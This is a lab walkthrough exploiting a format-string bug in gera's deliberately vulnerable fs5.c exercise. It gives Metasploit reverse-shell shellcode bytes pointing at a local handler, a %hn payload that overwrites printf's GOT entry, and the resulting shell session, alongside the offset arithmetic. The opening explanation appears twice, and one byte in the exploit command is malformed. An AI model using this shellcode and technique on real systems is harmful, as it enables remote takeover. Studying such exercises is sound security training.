gera's Insecure Programming fs5.c
I need to create my own format string for this one.
First some setup: putting shellcode into an environment variable and then getting it's address and printf's GOT address.
The %p format specifiers I'm supplying to the vulnerable snprintf functions lets me walk and read the stack. After popping 1 %p off the stack, the snprintf starts reading the As, Bs, and Cs.
The exploit looks like this.
Here's the format string break down:
1) \x88\x95\x04\x08 (0x08049588) - points to the least significant byte of printf's GOT entry.
2) AAAA - filler for the second %u format specifier.
3) \x8a\x95\x04\x08 (0x0804958a) - points to the most significant byte of printf's GOT entry.
4) %.64623u - increment character output count. the %u uses the first %p value (0x8048170) from the read above.
64623 is calculated like this
I want to overwrite the LSB with 0xfc7b (LSB of the shellcode address). There have been 12 characters printed already.
5) %hn - write character output count to the LSB of printf's GOT entry.
6) %.50052u - increment character output count again. The %u uses the filler from #2.
50052 is calculated like this
I want to get to 0xbfff--MSB of shellcode address. I've already passed 0xbfff with the first %u, the extra 0x10000 allows me to get back to it. There have been 12 + 64623 characters printed already.
7) %hn - write character output count to the MSB of printf's GOT entry.
/* fs5.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* go, go, go! */ int main(int argv,char **argc) { char buf[256]; snprintf(buf,sizeof buf,argc[1]); /* this line'll make your life easier */ printf("%s\n",buf); }
I need to create my own format string for this one.
First some setup: putting shellcode into an environment variable and then getting it's address and printf's GOT address.
[dennis@localhost fs5]$ cat sc.pl
#!/usr/bin/perl
# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";
print $shellcode;
[dennis@localhost fs5]$ export FS5=`perl sc.pl`
[dennis@localhost fs5]$ cat ev5.c
#include <stdlib.h>
/* this progname name must be same length as fs5 */
int
main()
{
char *envaddr;
envaddr = getenv("FS5");
printf("FS5 is at %p\n", envaddr);
}
[dennis@localhost fs5]$ ./ev5
FS5 is at 0xbffffc7b
[dennis@localhost fs5]$ objdump -R fs5 | egrep '[^n]printf''
08049588 R_386_JUMP_SLOT printf
The %p format specifiers I'm supplying to the vulnerable snprintf functions lets me walk and read the stack. After popping 1 %p off the stack, the snprintf starts reading the As, Bs, and Cs.
(gdb) run `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
Starting program: /home/dennis/fs5/fs5 `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
AAAABBBBCCCC.0x8048170.0x41414141.0x42424242.0x43434343
The exploit looks like this.
[dennis@localhost fs5]$ ./fs5 `perl -e 'print "\x88\x95\x04\x08AAAA\x8a\x95\x04\xx08%.64623u%hn%.50052u%hn"'`
...
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:50056) at 2011-11-22 22:02:38 -0600
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs5
Here's the format string break down:
1) \x88\x95\x04\x08 (0x08049588) - points to the least significant byte of printf's GOT entry.
2) AAAA - filler for the second %u format specifier.
3) \x8a\x95\x04\x08 (0x0804958a) - points to the most significant byte of printf's GOT entry.
4) %.64623u - increment character output count. the %u uses the first %p value (0x8048170) from the read above.
64623 is calculated like this
(gdb) print /d 0xfc7b - 12
$1 = 64623
I want to overwrite the LSB with 0xfc7b (LSB of the shellcode address). There have been 12 characters printed already.
5) %hn - write character output count to the LSB of printf's GOT entry.
6) %.50052u - increment character output count again. The %u uses the filler from #2.
50052 is calculated like this
(gdb) print /d 0x1bfff - 12 - 64623
$2 = 50052
I want to get to 0xbfff--MSB of shellcode address. I've already passed 0xbfff with the first %u, the extra 0x10000 allows me to get back to it. There have been 12 + 64623 characters printed already.
7) %hn - write character output count to the MSB of printf's GOT entry.